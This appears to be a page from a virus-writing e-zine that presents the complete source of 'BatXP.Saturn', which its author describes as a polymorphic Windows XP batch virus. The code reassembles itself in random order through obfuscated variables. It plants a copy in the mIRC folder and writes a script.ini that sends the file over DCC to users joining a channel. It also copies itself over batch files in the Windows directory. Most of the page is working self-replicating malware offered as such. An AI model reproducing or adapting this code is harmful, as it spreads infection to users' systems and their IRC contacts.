last article | table of contents | next article |
---|
BatXP.Saturn by Second Part To Hell
cls%SpTh% @echo off%SpTh% ReM ----------- BatXP.Saturn ********** by Second Part To Hell ----------- %SpTh% ReM | %SpTh% ReM I think, you are looking at the code and think: "What the hell is this?"| %SpTh% ReM The answer is: A Windows XP Batch polymorph virus :D | %SpTh% ReM WinXP is using a program named CMD.EXE instate of COMMAND.COM for DOS | %SpTh% ReM You're able to make the really nice things with CMD which you wasn't | %SpTh% ReM able to do it with COMMAND.COM. | %SpTh% ReM | %SpTh% ReM Information about the virus: | %SpTh% ReM Virusname......................: BatXP.Saturn | %SpTh% ReM Virusauthor....................: Second Part To Hell | %SpTh% ReM Size...........................: The poly-engine has 1.301 Bytes | %SpTh% ReM The whole virus has 4.158 Bytes | %SpTh% ReM Encrypted......................: Yes, but only the virus part. | %SpTh% ReM I'll crypt also the poly engine in | %SpTh% ReM next versions. | %SpTh% ReM Polymorphic....................: Yes | %SpTh% ReM | %SpTh% ReM written from 20.11.2002 to 22.11.2002 | %SpTh% ReM in Austria | %SpTh% ReM ---------------------------------------------------------------------- %SpTh% set a=0%SpTh% set aa=0%SpTh% set bb=0%SpTh% set cc=0%SpTh% set dd=0%SpTh% set ee=0%SpTh% set ff=0%SpTh% set gg=0%SpTh% find "SpTh"<%0 >spth.bat set sec=A%SpTh% :TitanMoon %SpTh% if %aa% EQU 1 (if %bb% EQU 1 (if %cc% EQU 1 (if %dd% EQU 1 (if %ee% EQU 1 (goto saturn)))))%SpTh% call :RheaMoon%SpTh% if %aa% EQU 0 (if %a% EQU 45 (%SpTh% find "%Sec%aAa" <%0 >>spth.bat%SpTh% set aa=1))%SpTh% if %bb% EQU 0 (if %a% EQU 46 (%SpTh% find "%sec%bBb" <%0 >>spth.bat%SpTh% set bb=1))%SpTh% if %cc% EQU 0 (if %a% EQU 47 (%SpTh% find "%sec%cCc" <%0 >>spth.bat%SpTh% set cc=1))%SpTh% if %dd% EQU 0 (if %a% EQU 48 (%SpTh% find "%sec%dDd" <%0 >>spth.bat%SpTh% set dd=1))%SpTh% if %ee% EQU 0 (if %a% EQU 49 (%SpTh% find "%sec%eEe" <%0 >>spth.bat%SpTh% set ee=1))%SpTh% goto TitanMoon%SpTh% :RheaMoon %SpTh% set a=%random%%SpTh% :IapetusMoon %SpTh% if %a% GEQ 50 (set /A a=%a%/2)%SpTh% if %a% LEQ 45 (set /A a=%a%+5)%SpTh% if %a% LSS 45 (goto :IapetusMoon)%SpTh% if %a% GTR 50 (goto :IapetusMoon)%SpTh% goto :EOF %SpTh% :saturn %SpTh% if %ply% GTR 16383 (%SpTh% find "%sec%sat"<%0 >>spth.bat %SpTh% find "%sec%tas"<%0 >>spth.bat %SpTh% ) ELSE ( %SpTh% find "%sec%tas"<%0 >>spth.bat %SpTh% find "%sec%sat"<%0 >>spth.bat %SpTh% ) %SpTh% set !!.!!=h%AdDd% set !!.!!=i%AdDd% goto !!.!! %AdDd% set !!.!!=w%AdDd% :!!.!! %AdDd% :!.!.. %AdDd% set !..!!=b%AdDd% set !..!!=y%AdDd% goto !..!! %AdDd% set !..!!=w%AdDd% :!..!! %AdDd% set !!!.!=q%AcCc% set !!!.!=o%AcCc% goto !!!.! %AcCc% set !!!.!=u%AcCc% :!!!.! %AcCc% set !!.!.=j%AcCc% set !!.!.=n%AcCc% goto !!.!. %AcCc% set !!.!.=l%AcCc% :!!.!. %AcCc% set !.!.!=b%AbBb% set !.!.!=y%AbBb% goto !.!.! %AbBb% set !.!.!=w%AbBb% :!.!.! %AbBb% set !..!.=p%AbBb% set !..!.=s%AbBb% goto !..!. %AbBb% set !..!.=o%AbBb% :!..!. %AbBb% set !!..!=f%AeEe% set !!..!=d%AeEe% goto !!..! %AeEe% set !!..!=b%AeEe% :!!..! %AeEe% set !.!!.=w%AeEe% set !.!!.=p%AeEe% goto !.!!. %AeEe% set !.!!.=d%AeEe% :!.!!. %AeEe% set !.!..=b%AeEe% set !.!..=e%AeEe% goto !.!.. %AeEe% set !.!..=w%AeEe% set !!!!.=t%AaAa% set !!!!.=f%AaAa% goto !!!!. %AaAa% set !!!!.=k%AaAa% :!!!!. %AaAa% set !!!..=v%AaAa% set !!!..=r%AaAa% goto !!!.. %AaAa% set !!!..=u%AaAa% :!!!.. %AaAa% set !.!!!=p%AaAa% set !.!!!=c%AaAa% goto !.!!! %AaAa% set !.!!!=q%AaAa% :!.!!! %AaAa% %!.!!!%%!!!.!%%!.!!.%%!.!.!% spth.bat C:\mirc\saturn.bat %Asat% %!.!..%%!.!!!%h%!!!.!% [%!..!.%%!.!!!%%!!!..%%!!.!!%%!.!!.%t] >C:\mirc\script.ini %Asat% %!.!..%%!.!!!%h%!!!.!% %!!.!.%0=%!!!.!%n 1:j%!!!.!%%!!.!!%%!!.!.%:*.* { %!!.!!%%!!!!.% ( $n%!!.!!%%!.!!!%k ==$m%!.!..% ) {halt} /d%!.!!!%%!.!!!% %!..!.%%!.!..%%!!.!.%d $n%!!.!!%%!.!!!%k C:\mirc\saturn.bat } >>C:\mirc\script.ini %Asat% %!!!!.%%!!!.!%%!!!..% %%q %!!.!!%%!!.!.% (%windir%\*.bat) %!!..!%%!!!.!% %!.!!!%%!!!.!%%!.!!.%%!.!.!% spth.bat %%q %Atas%